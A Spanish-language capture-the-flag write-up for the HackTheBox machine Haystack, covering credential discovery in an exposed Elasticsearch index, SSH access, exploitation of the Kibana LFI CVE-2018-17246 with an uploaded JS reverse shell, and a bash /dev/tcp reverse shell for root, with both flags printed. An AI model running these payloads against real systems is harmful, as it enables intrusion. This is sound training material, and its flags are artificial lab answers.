---
# System prepended metadata

title: WriteUp Haystack - HackTheBox Machine
tags: [htb, ctf, hackthebox]

---

#### Realizar un escaneo de puertos
`$ nmap -sC -sV 10.10.10.115`

#### Nos encontramos que estan corriendo la version 6.4.2 de elasticsearch en el puerto 9200

#### Realizamos un escaneo de directorios al puerto 9200
`$ dirb http://10.10.10.115:9200/`

#### Descargar la imagen del index y analizar para extraer posible informacion
http://10.10.10.115/needle.jpg
$ exiftool needle.jpg
$ cat needle.jpg

#### Vemos que al ejecutar cat en la imagen, al final sale algo en base64
```
$ echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 --decode
la aguja en el pajar es "clave"
```

#### Esto nos da indicios de que hay que encontrar una clave

#### Si vamos al siguiente directorio, podemos observar que salen detalles de una cuenta
http://10.10.10.115:9200/bank

#### Como se puede observar en el siguiente articulo sobre elasticsearch, explica que entrando a /_search se pueden buscar diferentes cosas introduciendo ciertos parametros de busqueda
https://www.elastic.co/guide/en/elasticsearch/reference/current/search-uri-request.html

#### Vamos al siguiente enlace
http://10.10.10.115:9200/_search

#### Introducimos la query string ?q= y buscamos la "clave"
http://10.10.10.115:9200/_search?q=clave

#### Se obtienen unas claves de acceso, cifradas en base64
```
"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
```

#### Decodeamos los resultados obtenidos anteriormente
```
$ echo dXNlcjogc2VjdXJpdHkg | base64 --decode
user: security
$ echo cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 --decode
pass: spanish.is.key
```

#### Ahora utilizamos las credenciales obtenidas para conectarnos mediante SSH
```
$ ssh security@10.10.10.115
security@10.10.10.115's password: spanish.is.key
```

#### Obtenemos la flag de user
```
$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929
```

#### Si buscamos en internet, la version 6.4.2 tiene publicado el CVE-2018-17246
https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246	
https://github.com/mpgn/CVE-2018-17246

#### Realizamos un port forwarding 
```
ssh security@10.10.10.115 -L 5601:localhost:5601
pass: spanish.is.key
```

#### Nos vamos a nuestro navegador y ponemos localhost:5601 y tendremos acceso a el panel de kibana el cual esta siendo redirigido a nuestra maquina y es ahora cuando explotamos el fallo 

#### Creamos una shell JS
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell

#### Subimos una shell JS en el directorio /tmp de la maquina remota
`$ scp shell.js security@10.10.10.115:/tmp` 

#### Abrimos una nueva instancia a la escucha con netcat
`$ nc -lvp 1337`

#### Hacemos una peticion GET al siguiente directorio para explotar el fallo (LFI)
http://localhost:5601/api/console/api_server?sense_version@@SENSE_VERSION&apis=../../../../../../../../../../tmp/shell.js

#### Una vez conectados tendremos acceso como el usuario kibana
`$ whoami`

#### Invocamos una shell tty en la maquina
`$ python -c 'import pty; pty.spawn("/bin/sh")'`

#### Lanzamos otra instancia paralela a la anterior de netcat y la ponemos a la escucha
`$ nc -lvp 4444`

#### Por ultimo desde la shell de kibana ejecutamos lo siguiente (remplazamos con nuestra ip y el puerto que queramos)
`$ echo "Ejecutar comando: /bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" >> /opt/kibana/logstash_blah`

#### Una vez hecho esto, ya tendremos acceso como root, y solo quedaria conseguir la flag
```
$ cat /root/root.txt 
3f5f727c38d9f70e1d2ad2ba11059d92
```



---



